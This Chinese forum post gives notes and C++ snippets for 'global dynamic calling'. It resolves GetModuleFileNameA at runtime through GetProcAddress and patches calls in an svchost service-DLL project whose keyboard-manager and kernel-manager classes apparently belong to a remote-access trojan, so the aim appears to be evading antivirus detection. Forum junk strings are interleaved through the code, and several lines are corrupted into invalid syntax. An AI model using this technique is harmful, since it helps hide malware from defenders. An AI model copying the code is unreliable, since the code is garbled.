返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记, h! J2 @% B- u) g
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
# A  ~; |, {& a$ g" n- C----------------------------------------  _$ a4 O' H4 O6 P9 _0 F
DTDY.h:/ ~/ t8 w( ~1 c# d- X
, n( n5 e' V; Y- L) q' u4 P5 }
#if _MSC_VER>1000
! P( S! h6 D5 G) s9 b9 q+ }4 k#pragma once3 l6 Q* _1 Z3 ^$ }6 {8 t; c
#endif //_MSC_VER>1000( i9 o* d) `! n. R
#include<windows.h>' ?; J* D) K) p6 ~  N! Q' O+ K

6 O) G( ~0 ?( Z" p" p* _8 `typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
- d" {+ W! g3 @" a+ f# U9 Kclass DTDY8 ?, }* S! X" d) T/ _  E# ^
{
0 v# S( t. m/ p- ?6 \6 _public:
4 K: E" l2 N" q  t) Y3 r0 K! nDTDY();
5 E9 x3 U3 |0 i: t6 f( F$ L% s; Pvirtual ~DTDY();+ G  O6 p* Y+ I' x, {! n! [1 {
public:
; Q$ [! Q- x+ D6 ^static pGetModuleFileNameA MyGetModuleFileName;
% I2 @. V/ l; ostatic BOOL FunInitiallization();! \) h7 i( A' _6 Q
};  l' ]+ Y6 @, H1 {: c; a1 O
#endif
- s2 G7 m$ L! O----------------------------------------
$ _9 i. O2 E! w8 z
5 T  ]) i3 j: n7 u" l' ?! ~DTDY.cpp:1 Q7 }0 i1 P; K( b

# R" x0 {( c2 ]$ h! C#include "DTDY.h") |' n! [! z  `  X6 _6 s
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
0 S  L4 \8 M& FDTDY:TDY()
" I* r, y0 F. D- y{' q1 |3 g2 C4 H. P' X
}
8 _+ e6 L9 h. @# CDTDY::~DTDY()
6 x6 {* ~! M- ]$ I9 o+ O{
2 O% F! u) p6 Q$ {- a: p9 M% Y}
! i- [; n$ c" w2 U% I' {% T, D9 @BOOL DTDY::FunInitiallization()
& ^8 ^5 a) z6 p* {{
* J6 T% b1 A0 i4 j0 pHMODULE hModule=LoadLibrary("kernel32.dll");& Y7 L( l( p3 A
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
; h9 m, u) Z/ j1 A6 [3 Aif(!MyGetModuleFileName=) return FALSE;
2 b- a/ t! x/ X& J+ w. ^5 `8 P3 T' C/ [  S7 t+ q% k
return TRUE;
+ w- L9 C/ U1 V0 o- M* Q, T}
! @& w; M1 t* w2 D( E- t----------------------------------------
% _% I/ P- T/ B0 u9 @* j- g1 Vsvchost.cpp:
( a9 @& P) \* ?! D& }/ D) S
$ j( n# r" E1 h. Z#include "DTDY.h"
9 t2 C/ N# Z5 C/ A
( i' _- u1 \% \/ X9 j6 `) iBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
4 T8 l3 T+ I" s6 e" Q9 |# w, B{
3 {* [) a- b' Vswitch(ul_reason_for_call)
% E+ {+ X' d- [0 N{
2 ~$ p% }, E, k. D2 A# x! z/ bcase DLL_PROCESS_ATTACH:
* I3 U: f& g: e- Pif(!DTDY::FunInitiallization()) return FALSE;; g' F% C- q, k8 Y6 |+ @+ r. M4 m- k

/ u  e- u4 \" G- {7 Abreak;0 u& b  |6 h' d4 @0 i! S; Q/ L
}
3 w% y3 V8 f4 E8 C9 @9 C. D# J' C}* b3 o3 l. Y2 v* T: V$ u& f8 o) B

5 Z6 U  ]# P: O" G4 w7 `" O9 {5 P* p6 j8 @
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 D: G' C5 o: v: J0 F7 A8 {改写为
! o- S% o+ v6 n7 r0 VDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
8 q/ u- J4 ?8 _- j----------------------------------------$ \: F1 p! U7 h  ~- q
KernelManager.cpp:
  i  u; O0 x" m: \- u  U
, P& S6 |3 Q+ l' o% @#include "../DTDY.h"
2 A( q( I+ P' I  Q! s* wGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
9 d6 |5 k: r5 u: [$ ]+ ~改写为) S/ M: Y0 I; h
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" X* Z: {* v/ g- a1 x
----------------------------------------

返回列表